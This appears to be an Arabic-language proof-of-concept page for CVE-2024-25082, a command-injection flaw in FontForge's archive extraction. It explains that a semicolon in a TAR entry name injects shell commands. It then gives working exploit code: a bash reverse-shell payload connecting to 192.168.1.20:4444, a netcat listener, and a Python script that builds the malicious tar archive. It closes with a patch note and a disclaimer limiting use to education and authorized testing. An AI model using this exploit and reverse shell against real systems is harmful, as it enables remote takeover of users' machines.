
ثغرة حقن الأوامر في FontForge عبر اسم ملف Splinefont مصنوع خصيصًا
استغلال إثبات المفهوم لثغريتي حقن أوامر في FontForge ≤ 20230101 (مكوّن Splinefont).
| CVE | الناقل | المشغّل |
|---|---|---|
| CVE-2024-25081 | اسم ملف مُصمَّم | فتح ملف مباشر |
| CVE-2024-25082 | اسم أرشيف مُصمَّم | استخراج TAR/ZIP/GZ/BZ2 |
يستهدف هذا الإثبات CVE-2024-25082 — عملية استخراج الأرشيف التلقائي في FontForge تمرر أسماء الملفات إلى شِل دون تعقيم، مما يسمح لحمولة مفصولة بفاصلة منقوطة مضمنة في اسم إدخال TAR بتنفيذ أوامر عشوائية.
يدعم FontForge فتح ملفات الخطوط مباشرة من الأرشيفات. عند استخراج أرشيف TAR، يقوم مكوّن Splinefont ببناء أمر شِل باستخدام اسم الملف من إدخال الأرشيف. نظرًا لأن اسم الملف غير معقَّم، فإن فاصلة منقوطة (;) في اسم الإدخال تخرج من الأمر المتوقع وتحقن تعليمات شِل عشوائية.
اسم إدخال TAR ضار:
exploit.ttf;bash /tmp/s.sh;
عندما يعالج FontForge هذا الأرشيف، يفسره الشِل على النحو التالي:
<أمر الاستخراج> exploit.ttf ; bash /tmp/s.sh ;
192.168.1.20:4444 (تعديل حسب الحاجة)tarfile)netcat على جهاز المهاجمnc -lvnp 4444
# Write the reverse shell payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh
# Build the malicious archive
python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF
fontforge exploit.tar
سيتصل shell عكسي بمستمعك.
تم إصلاحه في FontForge بعد الإصدار 20230101 عبر PR #5367. قم بالترقية إلى أحدث إصدار.
sudo apt upgrade fontforgeكود إثبات المفهوم هذا (PoC) مُقدَّم لأغراض تعليمية واختبار الاختراق المصرح به فقط.